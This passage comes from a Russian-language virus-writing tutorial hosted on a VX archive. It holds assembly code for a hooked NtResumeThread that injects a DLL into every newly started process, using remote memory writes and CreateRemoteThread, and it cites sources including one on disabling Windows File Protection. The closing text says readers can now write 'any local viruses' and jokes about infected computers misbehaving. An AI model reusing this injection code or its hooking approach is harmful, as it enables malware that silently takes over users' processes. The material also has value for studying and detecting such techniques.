NewZwResumeThread proc ThreadHandle1:DWORD, PriviousSuspendCount: DWORD
LOCAL ThreadInfo:THREAD_BASIC_INFORMATION
LOCAL hProcess: DWORD
        startproc
        invoke GetCurrentProcess
        invoke WriteProcessMemory,eax,AddrResumeThread,offset Old_Code3,size_code3,0;снятие перехвата
        invoke GetModuleHandle,offset nt
        invoke GetProcAddress,eax,offset QueryInfoStr
        push 0
        push 28;sizeof THread Basic information
        lea esi,ThreadInfo
        push esi
        push 0;ThreadBasicInfo
        push ThreadHandle1
        call eax;Вызов NtQueryInformationThread для получения id процесса из хэндла треда
        lea esi,ThreadInfo.ClientId
        assume esi:PTR CLIENTID
        mov eax,[esi].UniqueProcess
        .if eax!=CurrProcess
                .if NewProcess==1
                ;заражаем новый процесс
                invoke OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_WRITE or \
                       PROCESS_VM_OPERATION,0,eax;Открываем процесс куда будем внедрять DLL
                mov hProcess,eax
                ;Получаем описатель модуля Kernel32.dll
                invoke GetModuleHandle,offset kern
                ;Получаем адрес функции LoadLibrary
                invoke GetProcAddress,eax,offset loadlibraryName
                mov _LoadLibrary,eax
                invoke VirtualAllocEx,hProcess,NULL,dwSize,MEM_RESERVE or MEM_COMMIT,\
                       PAGE_READWRITE;Выделяем память в удаленном процессе
                mov ParameterForLoadLibrary,eax
                ;Запись строки с именем DLL в АП чужого процесса
                invoke WriteProcessMemory,hProcess,eax,offset lib,dwSize,NULL
                ;Создаем удаленный поток, который вызывает LoadLibrary,
                ;тем самым внедряем DLL в адресное пространство чужого процесса.  
                invoke CreateRemoteThread,hProcess,NULL,NULL,_LoadLibrary,\
                       ParameterForLoadLibrary,NULL,offset ThreadId
                invoke CloseHandle,hProcess
                mov NewProcess,0
                .endif
        .endif
        push PriviousSuspendCount
        push ThreadHandle1
        call AddrResumeThread
        push eax
        invoke GetCurrentProcess
        invoke WriteProcessMemory,eax,AddrResumeThread,offset code3,size_code3,0;установка перехвата
        pop eax
        endproc
        ret
NewZwResumeThread endp
 

Пример Закончен.

В архиве прилагаемой к статье в папке GlobalHooking находиться программа и ее исходный код, где перехватывается MessageBoxA и MessageBoxW во всех текущих процессах и в новых.

Примеры использования перехвата вызовов функций

Вот список, где можно использовать перехват вызовов функций. Но он конечно не исчерпывающий.

Использованные источники и источники для дальнейших исследований

SEH и VEH

  1. A Crash Course on the Depths of Win32 Structured Exception Handling [Matt Pietrek] http://www.microsoft.com
  2. Обработка исключений Win32 для программистов на ассемблере [Jeremy Gordon] http://www.wasm.ru
  3. SEH(Structured Exception Handling) на службе контрреволюции [Крис Касперски] http://www.insidepro.com
  4. Эксплуатирование SEH в среде Win32. Часть первая. [houseofdabus] http://www.securitylab.ru
  5. New Vectored Exception Handling in Windows XP [Matt Pietrek] http://www.microsoft.com
  6. Централизованная обработка исключений [Беляев Алексей] http://www.rsdn.ru

Windows File Protection

  1. Windows File Protection: How To Disable It On The Fly [Ntoskrnl] http://www.rootkit.com

API Hooking

  1. Перехват API функций в Windows NT (часть 1). Основы перехвата. [Ms-Rem] http://www.wasm.ru
  2. Перехват API функций в Windows NT (часть 2). Методы внедрения кода. [Ms-Rem] http://www.wasm.ru
  3. Система перехвата функций API платформы Win32 [90210 / HI-TECH] http://www.wasm.ru
  4. API hooking revealed [Ivo Ivanov] http://lib.training.ru/Lib/ArticleDetail.aspx?ar=1596&l=&mi=105&mic=352
  5. API Spying [Сергей Холодилов] http://www.rsdn.ru
  6. API Spying Techniques for Windows 9x, NT and 2000 [Yariv Kaplan] http://www.internals.com/articles/apispy/apispy.htm
  7. HOWTO: Вызов функции в другом процессе [Сергей Холодилов] http://www.rsdn.ru
  8. Перехват API-функций в Windows NT/2000/XP [Тихомиров В.А.] http://www.rsdn.ru
  9. Перехват данных Internet Explorer [Matt Pietrek] http://www.codenet.ru/progr/visualc/ie.php
  10. Per-process residency review: common mistakes [Bumblebee / 29A] http://vx.netlux.org
  11. Hooking Windows API - Technics of hooking API functions on Windows [Holy Father] http://www.Assembly-Journal.com

Заключение

В этой главе мы рассмотрели несколько очень важных техник, без которых далеко не уйдешь. Они используются не только при программировании вирусов, но и вообще в системном программировании. Теперь используя полученный материал, Вы можете программировать любые локальные вирусы. Я понимаю, что этот материал нельзя освоить за один наскок, но Вы должны стараться. Во всяком случае, Вы будете приближаться к истинному пониманию работы ОС Windows, ее идеологии, подводных камнях и т.д. И наша задача заключается именно в понимании тонкостей работы ОС Windows. Я надеюсь, что не будете никому вредить, используя полученные знания. Я категорически против деструкции в вирусах. Лучше напрягитесь и сделайте какую-нибудь красивую или оригинальную полезную нагрузку, чтобы юзверь упал со стула от удивления, например, когда его компьютер начнет пукать :)

Если у Вас есть замечания по статье или вопросы, то свяжитесь со мной по адресу [email protected].

The Passion Of Code (TPOC) Laboratory

Я представляю лабораторию The Passion Of Code (TPOC) и заявляю: если у Вас есть желание вникать в тонкости ОС и Вы уже что-то умеете, то я прошу Вас связаться со мной по адресу [email protected]. Но не беспокойте пожалуйста меня те люди, которых надо подгонять что-то делать - у Вас должен быть свой энтузиазм. Сайт нашей лаборатории http://tpoc.h15.ru.

Спасибо...

DayDream, BlackFox, _follower / TPOC, FreeMan / TPOC

Также хотел бы сказать спасибо Ms-Rem за его замечательную статью "Перехват API функций в Windows NT (часть 2). Методы внедрения кода"

Файлы к статье

[Вернуться к списку] [Комментарии]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! vxheaven.org aka vx.netlux.org
deenesitfrplruua